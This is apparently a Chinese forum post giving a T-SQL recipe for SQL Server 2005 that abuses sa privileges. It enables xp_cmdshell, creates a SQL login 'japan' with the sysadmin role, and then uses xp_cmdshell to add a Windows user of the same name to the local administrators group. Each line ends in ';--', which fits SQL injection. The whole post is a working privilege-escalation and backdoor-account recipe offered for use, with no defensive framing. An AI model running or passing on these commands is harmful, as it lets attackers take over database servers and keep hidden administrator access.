SQL Server 2005 通过sa权限创建系统用户
--enabble xp_cmdshellEXEC sys.sp_configure N'show advanced options', N'1'RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'1'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options', N'0'RECONFIGURE WITH OVERRIDE
go
-- Unenable xp_cmdshell
EXEC sys.sp_configure N'show advanced options', N'1'RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'0'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options', N'0'RECONFIGURE WITH OVERRIDE
go
-- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码
exec master.dbo.sp_addlogin japan;--
exec master.dbo.sp_password null,japan,japan;--
exec master.dbo.sp_addsrvrolemember japan,sysadmin;--
exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--
页:
[1]